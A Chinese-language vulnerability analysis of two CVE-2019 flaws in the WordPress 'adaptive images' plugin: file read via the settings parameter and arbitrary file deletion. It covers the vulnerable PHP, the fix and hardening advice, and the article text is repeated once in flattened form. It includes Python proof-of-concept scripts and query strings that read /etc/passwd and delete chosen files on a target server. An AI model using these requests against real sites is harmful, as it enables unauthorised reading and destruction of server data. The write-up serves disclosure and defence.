探究if条件语句引发的两个Web漏洞
字数 1604 2025-08-18 11:39:04

WordPress插件adaptive images漏洞分析与防护指南

漏洞概述

本文详细分析WordPress插件"adaptive images"(版本<=0.6.66)中存在的两个高危漏洞:文件包含漏洞(File Inclusion)和任意文件删除漏洞(Arbitrary File Deletion)。这两个漏洞源于插件中对if条件语句使用不当,导致攻击者可以构造恶意参数实施攻击。

漏洞环境

  • 目标系统:Debian 9.6 x64
  • 软件版本
    • WordPress 5.2.2
    • adaptive images插件0.6.65
    • XAMPP for Linux 5.6.30
    • Python 2.7.15

漏洞详细分析

1. 漏洞根源代码

漏洞主要存在于adaptive_images_script_get_settings()函数中:

function adaptive_images_script_get_settings() {
    if (!isset($_REQUEST['adaptive-images-settings'])) {
        // 默认配置初始化代码...
    }
    return $_REQUEST['adaptive-images-settings'];
}

关键问题点:

  1. 函数首先检查$_REQUEST['adaptive-images-settings']是否存在
  2. 如果不存在,则初始化默认配置
  3. 无论是否存在,最终都返回该变量值

2. 漏洞传导路径

  1. 攻击者可以构造恶意的$_REQUEST['adaptive-images-settings']参数
  2. 该参数通过$settings = adaptive_images_script_get_settings();传递到全局
  3. 恶意参数被后续功能使用

3. 文件包含漏洞(CVE-2019-16744)

触发路径:

if (!isset($_GET['resolution']) && !isset($_COOKIE['resolution'])) {
    adaptive_images_script_send_image($settings['source_file'], $settings['browser_cache']);
    exit();
}

攻击方式:

  • 通过控制$settings['source_file'](即$_REQUEST['adaptive-images-settings']['source_file'])
  • 可以读取服务器上的任意文件,如/etc/passwd

4. 任意文件删除漏洞(CVE-2019-16745)

触发路径:

$cache_file = $settings['wp_content'] . '/' . $settings['cache_dir'] . '/' . $settings['resolution'] . $settings['request_uri'];
if (file_exists($cache_file)) {
    if ($settings['watch_cache']) {
        adaptive_images_delete_stale_cache_image($settings['source_file'], $cache_file, $settings['resolution']);
    }
}

删除函数实现:

function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
    if (file_exists($cache_file)) {
        if (filemtime($cache_file) >= filemtime($source_file)) {
            return $cache_file;
        }
        unlink($cache_file);
    }
}

攻击方式:

  • 构造$cache_file指向要删除的目标文件
  • 构造$source_file为一个比目标文件新的文件
  • 触发删除逻辑

漏洞修复方案

在0.6.67版本中,修复方案包括:

  1. 移除不安全参数传递

    • 删除$_REQUEST['adaptive-images-settings']的使用
    • 改用全局变量$settings
  2. 强制初始化配置

    • 移除条件判断if (!isset($_REQUEST['adaptive-images-settings']))
    • 确保配置必须由函数生成,无法从外部注入

修复后代码结构:

global $settings;
$settings = NULL;

function adaptive_images_script_get_settings() {
    global $settings;
    // 直接初始化所有配置
    $settings = array(
        'debug' => $debug,
        // 其他配置项...
    );
    // 不再返回任何值
}

漏洞利用示例

1. 文件包含漏洞利用(PoC)

import requests

server_ip = input('输入服务器IP地址:')
source_file = input('输入包含路径和文件名:')

exp = requests.get("http://" + server_ip + "/wordpress/wp-content/uploads/2019/10/timg.jpg?adaptive-images-settings[source_file]=" + source_file)
print(exp.text)

示例攻击:

  • 包含/etc/passwd?adaptive-images-settings[source_file]=/etc/passwd
  • 包含系统信息:?adaptive-images-settings[source_file]=/proc/version

2. 任意文件删除漏洞利用(PoC)

import requests

server_ip = input('输入服务器IP地址:')
source_file = input('输入源文件的路径及文件名:')
cache_dir = input('输入要删除文件的路径:')
cache_file = input('输入要删除文件的文件名:')

# 触发删除
requests.get("http://" + server_ip + "/wordpress/wp-content/uploads/2019/10/timg2.jpg?adaptive-images-settings[source_file]=" + source_file + "&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=" + cache_dir + "&adaptive-images-settings[request_uri]=" + cache_file + "&adaptive-images-settings[watch_cache]=1")

# 验证删除
exp = requests.get("http://" + server_ip + "/wordpress/wp-content/uploads/2019/10/timg2.jpg?adaptive-images-settings[source_file]=" + cache_file)
print(exp.text)

示例攻击:

  • 源文件:.wp-content/uploads/2019/10/timg2.jpg
  • 删除文件:test.php

防护建议

  1. 立即更新:将插件升级到0.6.67或更高版本
  2. 输入验证
    • 对所有用户输入进行严格验证
    • 使用白名单机制限制文件路径
  3. 权限控制
    • 文件操作限制在特定目录
    • 使用最小权限原则运行Web服务
  4. 安全编码
    • 避免直接使用用户输入构造文件路径
    • 对特殊操作添加权限检查
  5. 监控措施
    • 监控异常的文件读取/删除操作
    • 定期审计插件代码

总结

这两个漏洞展示了条件语句使用不当可能导致的安全问题。开发时应注意:

  1. 不要信任任何用户输入
  2. 关键操作必须进行权限验证
  3. 文件路径操作要严格限制范围
  4. 全局变量使用要谨慎
  5. 安全配置应有默认值且不可被覆盖

通过规范的编码实践和严格的安全审查,可以有效避免此类漏洞的产生。

WordPress插件adaptive images漏洞分析与防护指南 漏洞概述 本文详细分析WordPress插件"adaptive images"(版本 <=0.6.66)中存在的两个高危漏洞:文件包含漏洞(File Inclusion)和任意文件删除漏洞(Arbitrary File Deletion)。这两个漏洞源于插件中对if条件语句使用不当,导致攻击者可以构造恶意参数实施攻击。 漏洞环境 目标系统 :Debian 9.6 x64 软件版本 : WordPress 5.2.2 adaptive images插件0.6.65 XAMPP for Linux 5.6.30 Python 2.7.15 漏洞详细分析 1. 漏洞根源代码 漏洞主要存在于 adaptive_images_script_get_settings() 函数中: 关键问题点: 函数首先检查 $_REQUEST['adaptive-images-settings'] 是否存在 如果不存在,则初始化默认配置 无论是否存在,最终都返回该变量值 2. 漏洞传导路径 攻击者可以构造恶意的 $_REQUEST['adaptive-images-settings'] 参数 该参数通过 $settings = adaptive_images_script_get_settings(); 传递到全局 恶意参数被后续功能使用 3. 文件包含漏洞(CVE-2019-16744) 触发路径: 攻击方式: 通过控制 $settings['source_file'] (即 $_REQUEST['adaptive-images-settings']['source_file'] ) 可以读取服务器上的任意文件,如 /etc/passwd 4. 任意文件删除漏洞(CVE-2019-16745) 触发路径: 删除函数实现: 攻击方式: 构造 $cache_file 指向要删除的目标文件 构造 $source_file 为一个比目标文件新的文件 触发删除逻辑 漏洞修复方案 在0.6.67版本中,修复方案包括: 移除不安全参数传递 : 删除 $_REQUEST['adaptive-images-settings'] 的使用 改用全局变量 $settings 强制初始化配置 : 移除条件判断 if (!isset($_REQUEST['adaptive-images-settings'])) 确保配置必须由函数生成,无法从外部注入 修复后代码结构: 漏洞利用示例 1. 文件包含漏洞利用(PoC) 示例攻击: 包含 /etc/passwd : ?adaptive-images-settings[source_file]=/etc/passwd 包含系统信息: ?adaptive-images-settings[source_file]=/proc/version 2. 任意文件删除漏洞利用(PoC) 示例攻击: 源文件: .wp-content/uploads/2019/10/timg2.jpg 删除文件: test.php 防护建议 立即更新 :将插件升级到0.6.67或更高版本 输入验证 : 对所有用户输入进行严格验证 使用白名单机制限制文件路径 权限控制 : 文件操作限制在特定目录 使用最小权限原则运行Web服务 安全编码 : 避免直接使用用户输入构造文件路径 对特殊操作添加权限检查 监控措施 : 监控异常的文件读取/删除操作 定期审计插件代码 总结 这两个漏洞展示了条件语句使用不当可能导致的安全问题。开发时应注意: 不要信任任何用户输入 关键操作必须进行权限验证 文件路径操作要严格限制范围 全局变量使用要谨慎 安全配置应有默认值且不可被覆盖 通过规范的编码实践和严格的安全审查,可以有效避免此类漏洞的产生。